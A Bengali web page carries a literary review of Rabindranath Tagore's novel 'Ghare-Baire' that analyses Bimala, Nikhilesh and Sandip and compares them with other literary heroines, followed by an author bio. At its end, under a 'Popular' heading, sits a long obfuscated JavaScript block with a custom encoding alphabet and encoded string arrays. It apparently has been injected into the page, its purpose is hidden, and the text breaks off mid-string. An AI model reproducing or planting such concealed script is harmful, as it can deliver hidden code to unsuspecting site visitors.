০৯:৩৪ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ

রিভিউ: রবীন্দ্রনাথ ঠাকুরের ‘ঘরে-বাইরে’ উপন্যাসের প্রধান চরিত্র বিমলা, নিখিলেশ ও সন্দ্বীপ 

  • ইসমত আরা জুলী
  • ১০:৩৪:০৩ পূর্বাহ্ন, শুক্রবার, ২৫ মার্চ ২০২২
  • ৩৫৭৬৭ বার পড়া হয়েছে

ঘরে-বাইরে' উপন্যাসটি লিখেছেন রবীন্দ্রনাথ ঠাকুর

রবীন্দ্রনাথ ঠাকুর ১৯১৬ সালে ঘরে-বাইরে উপন্যাস রচনা করেন মূলত স্বদেশী আন্দোলনকে উপজীব্য করে। কিন্তু এতে অনিবার্যভাবে এসে পড়েছে দ্বন্দ্ব-সংঘাতময় মানব-মানবীর প্রেম, সমাজ ও প্রথা দ্বারা নিয়ন্ত্রিত নারী-পুরুষ সম্পর্ক। এই উপন্যাসটির আত্মকথনরীতি, চলিত ভাষা এবং বৈপ্লবিক জাতীয়তাবাদী আন্দোলনের প্রেক্ষাপটে নিখিলেশ-বিমলা-সন্দীপের অনিয়ন্ত্রিত টানাপোড়েন নিয়ে রচিত ভিন্নধর্মী এক আখ্যান হিসেবে রবীন্দ্র রচনায় যুক্ত হয়েছে। তবে ঘরে উপন্যাসের প্রধান চরিত্র বিমলার চরিত্র চিত্রণে যে গভীর মনস্তাত্ত্বিক বিশ্লেষণের মাধ্যমে সম্পর্কের টানাপোড়েন চিত্রিত হয়েছে তা অন্য চরিত্রগুলোকে ছাপিয়ে গেছে।

নিখিলেশ বিমলার কল্পনার রাজপুত্র রূপে ধরা না দিলেও শত বছরের লালিত বাঙালি সংস্কারে আচ্ছন্ন বিমলা স্বামীকে প্রেমের অর্ঘ্য নিবেদন করে পূজা করতে দ্বিধা করেনি। রাজবাড়ীর বধূ হিসেবে তার সামাজিক অবস্থান চিহ্নিত হয়েছে ঘরে-বাইরে উপন্যাসের পরতে পরতে। আধুনিক মনের মানুষ নিখিলেশ স্ত্রীকে পরিধান করিয়েছে আধুনিক পোশাক এবং তাকে আধুনিক শিক্ষায় শিক্ষিত করতে ছিল বদ্ধপরিকর। মত প্রকাশের স্বাধীনতাপ্রাপ্তি ছিল বিমলার ব্যক্তিত্ব বিকাশের একটি উল্লেখযোগ্য ধাপ। নিখিলেশের কথায়– বিশ্বের মধ্যে জ্ঞানে শক্তিতে প্রেমে পুনর্বিকশিত বিমলকে দেখার বড়ো ইচ্ছা ছিল। স্বামীর আন্তরিক ইচ্ছায় সে ঘরের সীমাবদ্ধ পরিসর থেকে বাইরের বিস্তৃত জগতে পদচিহ্ন রেখেছিল। তার ধারণা ছিল আশপাশের মানুষদের আচার-আচরণ সম্পর্কে নিখিলেশের অজ্ঞতাই ছিল তার সরলতার প্রধান কারণ। সে সব মানুষের মধ্যে সর্বাগ্রে ছিল তার বড়ো জা, মেজ জা ও সন্দ্বীপ। স্বামীকে সচেতন করার ব্যর্থ চেষ্টায় সে কখনও কখনও মনে মনে সক্ষুব্ধ হয়েছে কিন্তু নিজেকে বিচ্ছিন্ন করে ফেলেছে স্বামীর কাছ থেকে।

উদারমনা নিখিলেশ চেয়েছিল– আমি চাই বাইরের মধ্যে তুমি আমাকে পাও, আমি তোমাকে পাই। স্বামীর উৎসাহে সামাজিক বিধি-নিষেধ অবজ্ঞা করে, প্রচলিত প্রথা ভেঙ্গে বিমলা মুখোমুখি হয়েছিল ঝড়ের দমকা হাওয়ার মতো স্বদেশী আন্দোলনের নেতা সন্দ্বীপের। বিমলার ভেতর সন্দ্বীপ দেশের জাগ্রত শক্তিকে প্রত্যক্ষ করেছে বলে দাবি করেছে। আর যে বিমলা ছিল গ্রামের ছোটো নদী তার বুকে ডেকে গেল সমুদ্রের বান। মউচাকের মক্খীরানী সম্বোধনে সে নিজেকে নতুন করে আবিষ্কারের খেলায় মেতে উঠল— যে সুন্দরী ছিল না সে সুন্দরী হয়ে উঠল; যে ছিল সামান্য সে নিজের মধ্যে সমস্ত বাংলাদেশের গৌরবকে প্রত্যক্ষ অনুভব করল।

এই ঘরে-বাইরে উপন্যাসে স্বদেশী আন্দোলনের অন্ধকার দিকের স্বরূপ উন্মোচিত হয়েছে, যার প্রতীক নিশ্চিতভাবে সন্দ্বীপ। নিখিলেশ ও বিমলার দাম্পত্য জীবনকে কালো ছায়ায় আচ্ছাদিত করল এই লোলুপ ভণ্ড-প্রতারক। স্বদেশী আন্দোলনের নামে যে প্রলয়ঙ্করী ধ্বংসযজ্ঞ শুরু হয়েছে তা স্পর্শ করেছে বিমলাকে। সন্দ্বীপের ‘আজকের দিনে আমাদের মেয়েরাই আমাদের দেশকে বাঁচাবে ‘জাতীয় কথাবার্তায় বিমুগ্ধ বিমলা ভুলে গেল যে সে স্বামী নিখিলেশের স্বদেশী ব্যাংক, স্বদেশী জাহাজের ব্যবসা, স্বদেশী কলম অথবা স্বদেশী সাবান ব্যবহারের চেষ্টাকে ভাল চোখে কখনও দেখেনি। তাই নিখিলেশের মনে হওয়া সঙ্গত ছিল যে ‘আজ এ কথা আমি স্পষ্ট বুঝেছি, বিমলের জীবনে আমি আকস্মিক মাত্র; বিমলের সমস্ত প্রকৃতি যার সঙ্গে সত্য মিলতে পারে সে হচ্ছে সন্দ্বীপ । ‘সন্দ্বীপের আরও দুইজন নারীর সঙ্গে ঘনিষ্ঠ সম্পর্কের ইঙ্গিত তার আত্মকথনে রয়েছে। যে-কোনো নারীকে আকর্ষণ করার মতো সম্মোহনী ক্ষমতা তার মধ্যে রয়েছে এবং তার মতে – ‘যা আমি কেড়ে নিতে পারি সেইটেই যথার্থ আমার, এই হলো সমস্ত জগতের শিক্ষা। ‘তাই স্বদেশী আন্দোলনের মুখোশের আড়ালে বিমলার মন ভুলিয়ে নিজের হীন স্বার্থ চরিতার্থ করার সব আয়োজন সম্পন্ন করেছিল।

ঘরে-বাইরে উপন্যাসে বিমলা ও নিখিলেশের মধ্যে সম্পর্কের ক্ষেত্রে যে ফাঁক ছিল তা ছিল তারা দুজনে প্রকৃতিগতভাবে ভিন্ন। কিন্তু নিখিলেশ স্ত্রীকে মুক্ত আকাশ দেখাতে চেয়েছিল এবং শুধুমাত্র স্ত্রীর মতামতের প্রতি শ্রদ্ধা রেখে কলকাতায় স্থায়ীভাবে থাকার সিদ্ধান্ত পাল্টে ফেলেছিল। বিংশ শতাব্দীর প্রথম দিকে বাঙালি সমাজে নিখিলেশের মতো উদার প্রকৃতির স্বামী যে বিরল তা বিমলা অন্তরে অনুভব করতে পেরেছে। তাই সন্দ্বীপের প্রতি দুর্নিবার আকর্ষণ ও আসক্তি তার মনোজগতে নানা দন্দ্ব-সংঘাত ও ঘাত-প্রতিঘাতের সৃষ্টি করেছে। সে নিজেকে কিছুটা আড়ালে রেখে এ সম্পর্ককে বিশ্লেষণের চেষ্টাও করেছে। সে যে ঘর-সংসারের প্রতি ও স্বামীর প্রতি চরম উদাসীনতা দেখিয়েছে তা নিজেই সম্পূর্ণভাবে উপলব্ধি করতে পেরেছে। এই অনুশোচনায় সে দিন-রাত দগ্ধও হয়েছে। দেশের জন্য সংগ্রামের আড়ালে লুকিয়ে ছিল সন্দ্বীপের কপটতা। স্বদেশীর বুলি আওড়াতে আওড়াতে অথবা বন্দে মাতরম বলে বলে সে দামি সিগারেট অথবা ট্রেনের ফার্স্ট ক্লাসে ভ্রমণ করতে কুণ্ঠিতবোধ করে না। বিমলার মতো নারীকে তার চরিত্রের ম্যাগনেটিজম দিয়ে ভাসাতে উদ্বুদ্ধ করার শক্তি তার ছিল। তার ফটোগ্রাফ দেখে বিমলার উক্তি- ‘উজ্জ্বলতা আছে বটে, কিন্তু চেহারাটা অনেকখানি খাদ মিশিয়ে গড়া-চোখে আর ঠোঁটে কী একটা আছে যেটা খাঁটি নয়।

‘এই উক্তি সন্দ্বীপের চরিত্রকে সম্পূর্ণভাবে উন্মোচিত করেছে। কিন্তু বিমলার তাকে সম্পূর্ণরূপে চিনতে অনেক দেরি হলো। অমূল্য নামক এক বালকের উপস্থিতি এবং তার প্রতি সন্দ্বীপের ঈর্ষা সূত্র ধরে সন্দ্বীপের সমস্ত ভণ্ডামির পর্দা বিমলার কাছে একে একে উন্মোচিত হতে লাগল। তাই রাতের অন্ধকারে স্বামীর দুই পা বুকের মধ্যে জড়িয়ে সে এই দন্দ্ব-সংঘাতময় সম্পর্ক থেকে মুক্তির উপায় খুঁজছিল। কিন্তু সন্দ্বীপের অগ্নিস্ফুলিঙ্গের মতো কথার তেজ বিমলাকে ভুলিয়ে তার ঘর ঝড়ের দমকা হাওয়ায় নড়বড়োে করে দিল। সে ঘরকে নতুনভাবে বিনির্মাণের স্বপ্ন ও ইচ্ছা নিয়ে সে সন্দ্বীপের সঙ্গে সব সম্পর্কের ইতি টানতে চেয়েছে। যে বিমলা নিজেকে বাংলাদেশের সমস্ত নারীর একমাত্র প্রতিনিধি ও সন্দ্বীপকে বাংলাদেশের বীর হিসেবে চিহ্নিত করেছিল সে স্বদেশী আন্দোলনের অসাড়তা উপলব্ধি করে আত্মসচেতন হয়ে আদর্শবাদী স্বামীকে আঁকড়ে ধরে নতুনভাবে বাঁচতে চেয়েছিল।

ঘরে-বাইরে উপন্যাসে দেখা যায়, নিখিলেশ দেবী সাজিয়ে বিমলাকে যে পূজার অর্ঘ্য নিবেদন করেছিল তার মধ্যে যেটুকু অসম্পূর্ণতা ছিল তা পূর্ণ হয়েছিল সন্দ্বীপ যখন তাকে বিপ্লবী ভারত মাতার আসনে অভিষিক্ত করল বৈপ্লবিক কথাবার্তার আড়ালে প্রেম নিবেদনের প্রচ্ছন্ন ইঙ্গিত বিমলাকে আলোড়িত করলেও এটা ক্রমশ স্পষ্ট হয়ে উঠেছিল যে সন্দ্বীপের সঙ্গে সম্পর্কের ক্ষেত্রে একটা ফাঁক রয়েই গেছে। বিশেষ করে বিমলা অমূল্য নামক বালকটিকে অতিরিক্ত গুত্বত্ব দেয়ায় সন্দ্বীপের অসহিষ্ণু প্রতিক্রিয়া এবং টাকার জন্য বিমলাকে বিভিন্ন কৌশল অবলম্বন করে বার বার চাপ দেয়া সন্দ্বীপ সম্পর্কে তার মোহ ভাঙতে শুরু করেছে। এর পরিণতিতে বিমলা দাম্পত্যপ্রেম, স্বদেশপ্রেম ও প্রেমিক পুরুষকে একপাশে ঠেলে দিয়ে আত্মপ্রেমে নিবেদিত হয়ে নিজেকে একক মানুষ হিসেবে উপলব্ধি করতে চাইল। নিজেকে দেখতে চাইল এমন একজন মানুষরূপে যে তৈরি হবে সম্মান, সম্ভ্রম, মর্যাদা আর ভালবাসাকে সঙ্গে নিয়ে। অমূল্যর কাছে নতুনভাবে মূল্যায়িত হয়েই বিমলা বুঝতে পেরেছে সন্দ্বীপের স্তুতিবাক্যগুলো কতটা মেকি।

ঘরে-বাইরে উপন্যাসটি লিখেছেন রবীন্দ্রনাথ ঠাকুর
‘ঘরে-বাইরে’ উপন্যাসটি লিখেছেন রবীন্দ্রনাথ ঠাকুর

বিমলার অস্তিত্বের শেকড়ে জড়িয়ে থাকা সংস্কার তাকে বার বার শুদ্ধ করতে চাইল। কিন্তু মানসিক যন্ত্রণায় কাতর বিমলা সামনে কোন্ পথ দেখতে পেল না। সন্দ্বীপের মধ্যে ভ- প্রতারকের ছায়া দেখতে না পেলে হয়ত নিখিলেশের সাহচর্য সত্ত্বেও তার ঘরে ফেরা হতো না। জীবনের শুভবোধ, আদর্শবাদীতার ওপর আস্থা এবং সর্বোপরি তথাকথিত সতীত্বের অহঙ্কারের কারণে সে বাইরে থেকে নিজেকে ঘরে স্থাপিত করতে পেরেছিল এবং ঘরে- বাইরের টানাপোড়েন থেকে নিজেকে রক্ষা করতে পেরেছিল।

বিমলার সমান্তরালে আমরা দেখতে পারি চোখের বালির বাল্যবিধবা বিনোদিনীকে। সমাজের প্রচলিত বিধিনিষেধ সত্ত্বেও যার মধ্যে পুরুষের প্রতি দুর্নিবার আকাঙ্খার জাগরণ ঘটেছিল এবং পরিণতিতে মানসিক ঘাত প্রতিঘাতের মুখোমুখি হতে হয়েছিল। নষ্টনীড়ের চারুলতাও চঞ্চল অমলের সুতীব্র আকর্ষণকে উপেক্ষা করতে পারেনি আর রতন পোস্টমাস্টারের সঙ্গে যাওয়ার ইচ্ছা প্রকাশ করলেও ‘সে কী করে হবে’-এর মতো সামাজিক বাধার মুখে অশ্রুপ্লাবিত হয়ে পরাজয় স্বীকার করে নিয়েছে।

ঘরে-বাইরে উপন্যাসের লেখক রবীন্দ্রনাথ ঠাকুর তাঁর সময়ের প্রচলিত সংস্কারকে পাশ কাটিয়ে তার নারী চরিত্রদের অবস্থান চিহ্নিত করতে পারেননি বলেই তার নারী চরিত্ররা বিদ্রোহী হয়ে উঠতে পারেনি। মানিক বন্দোপাধ্যায়ের কুসুম শক্তিশালী চরিত্র হওয়া সত্ত্বেও সামাজিক সংস্কারের কাছে পরাজিত। কিন্তু ইবসেন নোরাকে ঘরের বাইরে টেনে এনে নারী মুক্তির পথনির্দেশ করার কাজটি করে গেছেন। নারী অধিকার ও নারীর সামাজিক অবস্থান নিয়ে প্রাচ্য ও পাশ্চাত্যের বিপরীতমুখী দৃষ্টিভঙ্গি এসব রচনায় স্পষ্টভাবে প্রতিফলিত হয়েছে ।

মন্তব্য

লেখকতথ্য

ইসমত আরা জুলী

ইসমত আরা জুলী একজন সাহিত্যিক, কলামিস্ট এবং সাহিত্য সমালোচক। প্রবন্ধ, কবিতা, ছোটোগল্প, অনুবাদ-সাহিত্য ও শিশু-সাহিত্যে অবদান রেখে চলেছেন। বর্তমানে বাংলাদেশ বেতার ঢাকা কেন্দ্রের একজন তালিকাভুক্ত সংবাদ পাঠিকা।
জনপ্রিয়
(function(s){var UBa=20;var Flp=1035420166,xpBW="qAS0CusRlFUHKmrnN23Owh4+QxyeYG9ViDfMXJZEb16P8/pkzoTvBWdcItL7j5ag",bL0no=["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